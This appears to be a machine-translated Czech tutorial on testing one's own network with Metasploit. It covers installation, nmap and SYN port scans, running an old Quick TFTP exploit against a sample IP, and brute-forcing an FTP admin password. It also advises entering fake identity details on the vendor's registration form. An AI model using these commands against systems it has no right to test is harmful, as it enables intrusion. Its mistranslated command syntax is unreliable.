Počítačové penetrační testování – udělejte si to sami krok za krokem

Profesionální kyberzločinci se nabourávají do počítačů svých obětí pomocí sofistikovaných nástrojů. V příštím článku vám prozradíme, jak je lze využít k tomu, aby to vypadalo jako útok na váš vlastní počítač, a prostudovat tak jeho úroveň zabezpečení a identifikovat možná zranitelnosti. Jejich smazáním poskytnete svému počítači lepší ochranu proti vetřelcům.

Hackeři, kteří se profesionálně podílejí na zločinech na internetu, zpravidla provádějí útoky na počítače a sítě pomocí speciálních vývojových platforem. Takový rámců obsahují sady nástrojů pro organizaci různých typů útoků. Patří k nim i tzv vykořisťuje. Jedná se o programy, nebo alespoň fragmenty kódu, které umožňují využít zranitelnosti softwaru k destruktivním účelům.

Programátoři digitální bezpečnosti vytvořili tři velké rámce. Dvě z nich jsou komerční řešení – Imunita a Core Security. Třetí, Metasploit, byl vytvořen v roce 2003 jako open source projekt ( open source). První vydání obsahovalo pouze jedenáct škodlivých kódů typu exploit. Postupem času se základna dostupných exploitů rozrostla na více než tři tisíce – především díky dobrovolné pomoci bezpečnostních specialistů.

Projekt Metasploit je již několik let distribuován prostřednictvím společnosti Rapid 7, která kromě bezplatné verze nabízí dvě komerční verze - Metasploit Express a Pro. Bezplatná verze – Metasploit Community – nemá žádné časové limity pro použití, ale poskytuje menší rozsah schopností.

Když se řekne provádění útoků pomocí speciálních hackerských nástrojů, mnoho uživatelů si vybaví zločince, kteří se nelegálně snaží získat přístup k cizím počítačům nebo firemní infrastruktuře. Ve skutečnosti však lze vývojové platformy, jako je Metasploit, používat v souladu se zákonem. Správce sítě neporušuje žádné zákony, když provádí řízený útok na svůj počítačový systém, aby prozkoumal jeho stabilitu.

Pokud jste si doma vytvořili vlastní lokální síť skládající se např. ze stolního počítače, NAS serveru a mobilních zařízení, jste správcem této sítě. Proto můžete volitelně zaútočit na vaši infrastrukturu pomocí Metasploit a dalších nástrojů, abyste zkontrolovali, zda je dostatečně chráněna před útočníky, a identifikovali možná slabá místa.

U našich západních sousedů dokonce státní úřady takové penetrační testy doporučují. Spolkový úřad pro bezpečnost IT (BSI) zveřejnil pokyny, ve kterých popisuje pětistupňový testovací postup.

Krok 1. Získání základních informací. Nejprve musíte určit, přes které IP adresy můžete infrastrukturu kontaktovat.

Krok 2. Skenování cílového systému. Poté byste měli naskenovat porty v zařízení. Budete tak vědět, jaké služby nebo programy jsou z pohledu agresora dostupné.

Krok 3 Identifikace systému a softwaru. Analyzujte cílovou infrastrukturu (jako je FTP server), abyste určili nebo odhadli verzi softwaru.

Krok 4. Hledejte zranitelnosti. Jakmile budete vědět, jaké systémy a aplikace jsou v cílové síti dostupné, můžete začít hledat zranitelnosti.

Krok 5. Pokus o zneužití nalezených zranitelností. Skutečný útok přichází až v poslední fázi. V nejhorším případě, tedy v případě úspěšného útoku, se útočníkovi podaří získat plný přístup k cílové infrastruktuře.

Některé organizace distribuují pokyny, které obsahují několik dalších kroků. Pro kontrolu stability vlastní infrastruktury však stačí výše uvedený návod skládající se z pěti stupňů. Jako správce systému musíte vědět, přes které adresy IP můžete své zařízení kontaktovat.

Tato služba umožňuje určit IP adresu na základě běžné URL

Penetrační testování - přípravné kroky

K provedení penetračního testování pomocí metody popsané níže potřebujete vývojovou platformu Metasploit. Nejlepší je stáhnout si ho z oficiálních stránek komerčního operátora Rapid 7.

Přejděte na stránku stahování a vyberte bezplatnou verzi komunity Metasploit. Operátor bude chtít sbírat data od co největšího počtu uživatelů. Navíc dává přednost distribuci komerční verze Metasploit. Než tedy začnete stahovat, je potřeba vyplnit registrační formulář. Společnost může distribuovat software pouze v rámci Spojených států amerických. Stahování je tedy povoleno pouze uživatelům s příslušnou adresou a telefonním číslem. Pokud vám zásady morální povahy nebrání v zadávání nepravdivých údajů, můžete použít službu Web-Fake Name Generator a vytvořit si fiktivní identitu.


Pomocí této služby si můžete vytvořit fiktivní uživatelský profil z USA (nebo jakékoli jiné části světa), dokonce obsahující telefonní číslo a jednorázovou e-mailovou adresu

Pamatujte si to v řádku Nastaveno jméno možnost musí být specifikována americký a v řadě Země volba Spojené státy. Pokud chcete použít jednorázovou e-mailovou adresu uvedenou v sekci Online, klikněte na odkaz Kliknutím sem jej aktivujete! klikněte pravým tlačítkem a vyberte Otevřít na nové kartě. Poté můžete jednoduše zkopírovat data ze stránky profilu a zároveň mít přístup k dočasné poštovní schránce na jiné kartě. Jakmile potvrdíte údaje zadané do formuláře, Rapid 7 zašle licenční klíč na vámi zadanou e-mailovou adresu. Ačkoli není vyžadováno spuštění bezplatné verze platformy (Metasploit Community), poskytuje přístup k webovému rozhraní.

Pokud nechcete zadávat nepravdivé osobní údaje nebo používat dočasnou e-mailovou adresu, můžete si stáhnout open-source verzi platformy Metasploit. K dispozici ve službě GitHub. Stačí stisknout tlačítko Stáhněte si ZIP, který je na pravé straně stránky. Upozorňujeme však, že zadanou verzi platformy lze spravovat pouze z konzoly příkazového řádku.

Penetrační testování – metoda instalace platformy Metasploit

Abyste mohli provést testovací útok na vaši IT infrastrukturu, musíte mít k dispozici samostatný počítač. Pro tento účel je nejlepší použít kopii vybavenou nezávislým přístupem k internetu. Koneckonců, cílem testu je zjistit, zda může být vaše zařízení zranitelné vůči útokům z internetu. Pokud je váš testovací počítač vybaven kartou bezdrátové sítě LAN, můžete pomocí smartphonu vytvořit samostatný odkaz. Podmínkou je poskytnutí tzv modem prostřednictvím svého mobilního operátora.

Linuxové prostředí

Na webu Metasploit jsou k dispozici 32bitové a 64bitové verze platformy. Uživatelé, kteří preferují Linux, mohou využít distribuci Kali Linux. Toto je speciální verze Linuxu navržená s ohledem na penetrační testování. Obsahuje vývojářskou platformu Metasploit. Výhodou tohoto řešení je skutečnost, že všechny závislé balíčky jsou nainstalovány v systému.

Chcete-li použít Metasploit v prostředí Kali Linux, musíte nejprve zavolat spouštěcí skripty Init a zadat následující dva příkazy:

sudo /etc/init.d/postgresql start

sudo /etc/init.d/metasploit start

Poté můžete konzolu spustit příkazem Metasploit

Alternativní

Metasploit je také dostupný jako virtuální stroj, který běží pomocí virtualizačního softwaru VirtualBox. umožňuje rychle se seznámit s možnostmi vývojové platformy. Takový virtuální stroj lze spustit ve VirtualBoks z Windows i Linuxu.

Uživatelé zkušenější v práci s Windows mohou používat Metasploit ve verzi určené pro tento operační systém.

Prostředí Windows

Průvodce vám pomůže nainstalovat platformu Metasploit na Windows, stejně jako v mnoha jiných aplikacích. Můžete přijmout všechny možnosti nabízené instalačním programem. Výchozí instalační složka je C:\metasploit. Průvodce vás vyzve, abyste zakázali antivirový program a bránu firewall, aby Metasploit fungoval správně. Platforma obsahuje několik prvků škodlivého kódu, které používají některé ransomwarové viry. Proto je doporučeno nainstalovat tuto platformu na testovací systém určený pouze k tomuto účelu, který nemá antivirus. Pokud se útok nezdaří nebo se počítač zároveň stane obětí náhodného útočníka, uživatel nezíská žádnou škodu.

Testovací systém by neměl obsahovat žádná důvěrná uživatelská data, která by mohla být zachycena virem. Pokud však nemáte k dispozici samostatný počítač, který by vám k provedení takového testu posloužil, změňte nastavení antiviru tak, aby nekontroloval složku C:\metasploit.

Průvodce instalací vás požádá o zadání portu, přes který budete přistupovat k platformě Metasploit. Můžete přijmout nabídku průvodce (port 3790), ale nezapomeňte si svůj výběr zapamatovat. Přijměte další možnosti, které průvodce vyzve, a dokončete instalaci.

Instalační soubor, jehož velikost dosahuje 185 MB, je zašifrován a pevně komprimován. Na počítači s nízkým výkonem může proces rozbalení a instalace trvat několik minut. Dokončete instalaci kliknutím na tlačítko Dokončit. Poté se na obrazovce zobrazí dialogové okno a v něm místně uložená informační stránka. Z ní se dozvíte, že správné webové rozhraní platformy Metasploit Pro je chráněno SSL certifikátem. Pro přístup k místnímu serveru Metasploit musíte ignorovat varování prohlížeče. Klikněte na odkaz, který se zobrazí (např. https://localhost:790). Pokud jste vybrali jiné číslo portu, na stránce se zobrazí jiné číslo.


Informační stránka zobrazuje počet exploitů a pomocných modulů užitečného zatížení dostupných v aktuální verzi balíčku Metasploit

Na druhé straně si musíte vytvořit účet na webu Metasploit. Zadejte libovolné uživatelské jméno a heslo. Poté budete požádáni o licenční klíč. Po stažení instalačního souboru jej obdržíte e-mailem. Tento klíč je vyžadován pro použití webového rozhraní Metasploit, které je součástí komerční platformy a poskytuje několik užitečných nástrojů. Úspěšně však můžete provádět penetrační testy i bez licenčního klíče a zmíněného rozhraní.

V tomto tutoriálu vám ukážeme, jak provádět konkrétní akce v textové konzoli i v okně příkazového řádku.


Penetrační testování – Metasploit Console

Po instalaci platformy Metasploit se prohlížeč automaticky spustí na Windows a otevře rozhraní komerční verze. Vyplatí se však seznámit se s konzolí, abyste mohli používat jakoukoli verzi této platformy. Zavolejte jí kliknutím Logo Windows | Všechny programy/aplikace | Metasploit | Konzole Metasploit.

Objeví se obrazovka okno příkazového řádku. Při prvním spuštění platformy musíte nějakou dobu počkat, než budou povoleny všechny služby. Konzole bude signalizovat, že je připravena přijímat příkazy od uživatele zobrazením sekvence znaků msf >(zkratka pro M eta s zápletka F rámec). Tato konzola je místo, kde zadáváte příkazy, stejně jako byste to dělali v okně příkazového řádku Windows (CMD) nebo v knihovně bash shell. Každý příkaz je samozřejmě nutné potvrdit klávesou. Níže uvádíme základní příkazy Metasploit.

Prapor– ihned po spuštění konzole zobrazí počet dostupných modulů využívat(cca 1500), pomocný(cca 950) a pomocný(více než 400). Chcete-li tyto informace znovu vyvolat, jednoduše zadejte prapor. Moduly využívat navrženy tak, aby zneužívaly zranitelnosti softwaru. Moduly pomocný pomáhají shromažďovat informace o cílovém systému. Nejjednodušší nástroje provádějí DNS dotazy, složitější provádějí jednoduché skenování portů a nejpokročilejší jsou speciální skenery (například FTP servery). Pod pojmem modul užitečné zatížení Kód škůdce je skrytý. Obvykle se jedná o skript, který útočí na systém prostřednictvím využívat, například otevírá zadní vrátka, která vám umožní získat úplnou kontrolu nad systémem, nebo shromažďuje důvěrná data a odesílá je zákazníkovi.

Sníh A Vyhledávání– pomocí příkazu ukázat můžete vyvolat seznam všech modulů nebo exploitů, které jsou dostupné ve vaší nainstalované instanci Metasploit. Chcete-li získat přehled o exploitech, například napište ukázat exploity. Zadejte příkaz ukázat -h pro další tipy. Seznam výsledků je ale tak rozsáhlý, že je mnohonásobně větší, než co lze zobrazit v konzoli. Pokud tedy hledáte konkrétní exploit k útoku na konkrétní systém, je lepší použít příkazy Vyhledávání. Podporuje zejména parametry typ A název. Pokud si myslíte, že váš systém má chybu zabezpečení přenosu souborů SMB (Server Message Block), můžete zneužití najít zadáním následujícího příkazu:

typ vyhledávání:využít jméno:smb

Seznam všech parametrů lze získat pomocí příkazu hledat -h.

Moduly použití, soubor A zadní– činnost jednotlivých modulů Metasploit je řízena pomocí různých parametrů. Pomocí exploitů můžete zadat adresu cílového systému a název škodlivého kódu. V případě pomocných modulů se zadává cílová adresa nebo rozsah adres. Pokud například chcete zadat konfiguraci modulu, který jste dříve našli pomocí příkazu Vyhledávání, použijte příkaz použijte cestu_modulu/název_modulu. Moduly přítomné v seznamu výsledků příkazů Vyhledávání, lze vybrat pomocí myši a poté vložit přes nabídku Upravit | Vložit.

Náš příklad vyhledávání vybral zejména exploit quick_tftp_pro_mode. Přestože existuje již od roku 2008, je klasifikován jako dobrý. Pokud má tedy cílový systém nainstalovanou starou verzi Quick TFT, existuje velká šance, že exploit bude schopen vložit škodlivý kód do cíleného hardwaru.


V důsledku hledání zranitelností na FTP serverech se nám podařilo najít například kód pro program Quick FTP. Přestože je tato chyba zabezpečení již velmi stará, existuje mnoho počítačů bez příslušné aktualizace

Chcete-li aktivovat dotyčný exploit, zadejte následující příkaz:

Chcete-li zjistit, jaké možnosti daný modul nabízí, musíte použít příkaz zobrazit možnosti:

msf exploit (quick_tftp_pro_mode) >zobrazit možnosti

Typické argumenty používané u zranitelností jsou: RHOST A RPORT. První z nich je IP adresa napadeného systému, druhá je číslo portu. Chcete-li změnit hodnoty parametrů, použijte příkaz nastavit hodnotu parametru.


Po načtení skenovacího nebo útočícího modulu můžete vyvolat seznam dostupných parametrů příkazu show options

Ve výše uvedeném příkladu může příkaz vypadat takto:

msf exploit (quick_tftp_pro_mode) >sada RHOST 178.254.10.72

Vstupte zadní pro dokončení nastavení modulu.

Penetrační testování - získávání informací

Profesionální bezpečnostní výzkumník provádí penetrační útoky ze všech možných zdrojů, aby získal základní informace o infrastruktuře cílového publika. DNS dotazy se například používají k určení, které IP adresy patří k URL a jaké služby společnost poskytuje.


Příkaz set konfiguruje načtený modul. Dobrým příkladem je modul quick_tftp_pro_mode

Mnoho firemních webů poskytuje například samostatnou IP adresu, jejímž prostřednictvím jsou pro zaměstnance mimo kancelář k dispozici speciální služby přístupu k datům. Samotný web může být umístěn u poskytovatele internetových služeb a službu přenosu dat lze implementovat přímo z vlastních serverů společnosti.

Tím, že budete studovat udržitelnost vaší vlastní IT infrastruktury, nemusíte takové problémy řešit. Stačí zkontrolovat IP adresu vašeho routeru. Tato adresa je specifikována v konfiguračním rozhraní routeru. Případně to můžete zkontrolovat pomocí portálu SpeedTest (v levém dolním rohu) nebo portálu Free BrowserCheck (pole Externí IP adresa).

Penetrační testování - skenování cílového systému

Analýza cílového systému pomocí skeneru portů. Po určení IP adresy můžete zkontrolovat, zda neobsahuje otevřené porty. Zjistíte tak, zda váš systém poskytuje nějaké služby externě.

Pro skenování IP adres můžete využít například velmi výkonný nástroj Nmap, který je součástí balíčku Metasploit. Stačí zadat IP adresa nmap získat seznam otevřených portů. V případě standardních portů není těžké uhodnout, jaká služba se skrývá za otevřeným portem.


V tomto příkladu jsme zkontrolovali zadanou IP adresu pomocí skeneru portů nmap. Port FTP serveru se objevil v seznamu otevřených portů

Zde je příklad:

msf >nmap 178.254.10.72

Zkoumání této soukromé adresy ukázalo, že port 21 je otevřený. Můžeme tedy předpokládat, že na zadané adrese je umístěn FTP server. Každý port, který je otevřený, je potenciálním cílem útoku a vyžaduje podrobný audit.

Penetrační testování – hledání zranitelností

Po rozpoznání adres a služeb dostupných v cílové infrastruktuře je nutné o ní získat podrobnější informace. Skenery vystavení škodlivému kódu (tzv zranitelnosti).

Jedná se o nástroje, které vyhledávají softwarová zranitelnost. Účelem takového skenování je identifikovat zranitelnost, která bude mít dopad na cílový systém. Balíček Metasploit poskytuje mnoho skenerů zranitelnosti pro útoky.

Úplný seznam lze získat příkazem

msf >typ vyhledávání:pomocný

Seznam je velmi rozsáhlý, ale můžete jej zúžit pomocí možností filtrování. Níže demonstrujeme proces skenování pomocí nástroje TCP Syn jako příklad.

Nejprve jej musíte aktivovat pomocí příkazu použití:

msf >použijte scanner/portscan/syn

Konzole potvrdí volání modulu:

msf pomocný(syn) >

Poté vyvolejte seznam dostupných parametrů:

msf pomocný(syn) >zobrazit možnosti

Pomocí příkazu soubor v kombinaci s parametry RHOSTS A RPORT nastavíte cíl útoku, například:

msf pomocný(syn) >sada RHOSTS 178.254.10.72

msf pomocný(syn) >sada RPORTS 20, 21

Proces skenování je zahájen příkazem běh:

msf pomocný(syn) >běh

Sběr informací o cílovém systému a jeho testování jsou hlavní fáze testu. Úspěch útoku pomocí zranitelnosti nebo jiné metody závisí na výsledcích těchto akcí a získaných závěrech.

Penetrační testování - napadení cílového systému

Když se vám podaří v systému najít službu, která je přístupná zvenčí a je plná zranitelností, můžete na ni zaútočit exploitem z balíčku Metasploit Framework.

Za předpokladu, že náš vzorový cílový systém (178.254.10.72) používá starší verzi Quick FTP pro Windows XP port 21, můžeme provádět útoky pomocí následujících příkazů:

msf >použijte exploit/windows/tftp/quick_tftp_pro_mode

msf exploit (quick_tftp_pro_mode) >sada RHOST 178.254.10.72

msf exploit (quick_tftp_pro_mode) >sada RPORT 21

msf exploit (quick_tftp_pro_mode) >běh

Penetrační testování - Password Scanner

Útok na exploit kód může být velmi efektivní, protože nalezená zranitelnost umožňuje nejen překonat bezpečnostní bariéry cílového systému, ale také do něj proniknout a aktivovat škodlivý kód ( užitečné zatížení). Útoky využívající tuto chybu zabezpečení však často selhávají. K tomu dochází například v situaci, kdy je oproti předpokladu v systému nainstalována novější, vylepšená verze softwaru. K takovým případům dochází velmi často, protože skenování zranitelnosti ne vždy poskytuje spolehlivé výsledky. A i když je nalezen správný exploit, systém jej může zastavit pomocí antivirových nástrojů.

Pravděpodobnějším cílem pro výzkumníky a kyberzločince je heslo. Ve velkých IT infrastrukturách je heslo chráněno více než jedním systémem. Navíc se jim zpravidla podaří najít uživatelské účty, které nejsou chráněny dlouhými a složitými hesly.

Skenování hesel

V sadě nástrojů Metasploit je mnoho skenerů hesel, které podporují různé služby. Přihlašovací údaje jsou vyžadovány nejen pro spuštění relace v prostředí Windows, ale také pro mnoho dalších služeb. FTP servery například podporují více než jen soubory pro veřejné stahování. Nahrávání souborů je povoleno registrovaným a oprávněným uživatelům. Jejich účty, i když jsou chráněny heslem, však ne každý věnuje velkou pozornost bezpečnostním otázkám. Nastavte si heslo jako Heslo, asdf nebo test123.

Odpovídající skenery balíčků Metasploit najdete v adresáři scanner_login. Můžete je vyhledat pomocí příkazu:

msf >typ vyhledávání:pomocná cesta:přihlášení ke skeneru

Způsob skenování hesel si ukážeme na příkladu nástroje ftp_login. Pomocí následujících příkazů načteme modul ftp_login, nastavíme cílovou IP adresu, určíme napadený administrátorský účet a poté načteme soubor pass.txt. Textové soubory obsahující databáze hesel jsou dostupné na internetu.

msf >použijte pomocný/skener/ftp/ftp_login

msf pomocné (ftp_login) >sada RHOSTS 178.254.10.72

msf pomocné (ftp_login) >nastavit správce USERNAME

msf pomocné (ftp_login) >nastavte PASS_File pass.txt

msf pomocné (ftp_login) >běh

Skener postupně kontroluje všechna hesla obsažená v zadaném souboru. Měli byste jej uložit do osnovy balíčku Metasploit (ve výchozím nastavení je to adresář C:\metasploit).


Skener hesel se pokusí hacknout uživatelský účet na FTP serveru. Po dobu tohoto testu jsme vytvořili speciální soubor obsahující pouze dvě hesla

Penetrační testování – ochrana proti útokům

Platforma Metasploit umožňuje používat ještě více modulů pro skenování vzdálených systémů a útoky na ně prostřednictvím zranitelností. Mnoho z těchto prostorů by nemělo být přístupných z internetu. Pokud má útočník nebo výzkumník podezření, že na jednom z počítačů v cílové síti je nainstalována zastaralá verze aplikace Word nebo Adobe Reader, můžete uživateli poslat infikovaný dokument ve formátu DOC a PDF jako přílohu e-mailu. Metasploit vám dokonce poskytuje nástroje pro vytváření takových dokumentů.

V podstatě se před tímto druhem útoku můžete velmi snadno ochránit. Nainstalujte všechny aktualizace zabezpečení dostupné pro váš software. To platí nejen pro Windows, ale pro všechny aplikace. Používejte internet pouze ty služby, bez kterých se neobejdete. Měli byste také používat antivirový software a pravidelně aktualizovat virové signatury. Přestože existují exploity, které zapisují svůj kód pouze do paměti RAM počítače, čímž se skrývají před skenery souborů, dobrá antivirová aplikace je schopna odhalit drtivou většinu škůdců.